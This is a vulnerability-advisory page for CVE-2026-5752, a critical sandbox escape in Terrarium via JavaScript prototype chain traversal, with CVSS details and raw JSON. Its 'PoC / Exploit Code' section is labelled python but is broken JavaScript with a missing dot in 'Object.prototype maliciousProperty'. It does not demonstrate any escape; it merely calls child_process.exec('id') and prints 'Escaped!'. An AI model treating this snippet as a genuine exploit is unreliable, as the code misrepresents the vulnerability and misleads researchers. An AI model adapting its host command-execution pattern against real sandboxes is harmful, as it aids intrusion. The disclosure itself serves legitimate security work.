Security Vulnerability Report
中文
CVE-2026-5752 CVSS 9.3 CRITICAL

CVE-2026-5752

Published: 2026-04-14 18:17:39
Last Modified: 2026-04-21 15:16:38

Description

Sandbox Escape Vulnerability in Terrarium allows arbitrary code execution with root privileges on a host process via JavaScript prototype chain traversal.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Terrarium (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for Prototype Chain Traversal Sandbox Escape // This is a demonstration of the technique used in CVE-2026-5752 function exploit() { // Attempt to access the constructor of a vulnerable object const maliciousObject = {}; // Modify the prototype to inject malicious behavior // or access properties outside the sandbox Object.prototype maliciousProperty = function() { // Simulating code execution on host process require('child_process').exec('id', (error, stdout, stderr) => { if (stdout) console.log(`[+] Escaped! Running as: ${stdout}`); }); }; // Trigger the vulnerability maliciousObject.maliciousProperty(); } exploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5752", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:39.360", "lastModified": "2026-04-21T15:16:37.563", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandbox Escape Vulnerability in Terrarium allows arbitrary code execution with root privileges on a host process via JavaScript prototype chain traversal."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 6.0}]}, "references": [{"url": "https://github.com/cohere-ai/cohere-terrarium", "source": "[email protected]"}, {"url": "https://kb.cert.org/vuls/id/414811", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/414811", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}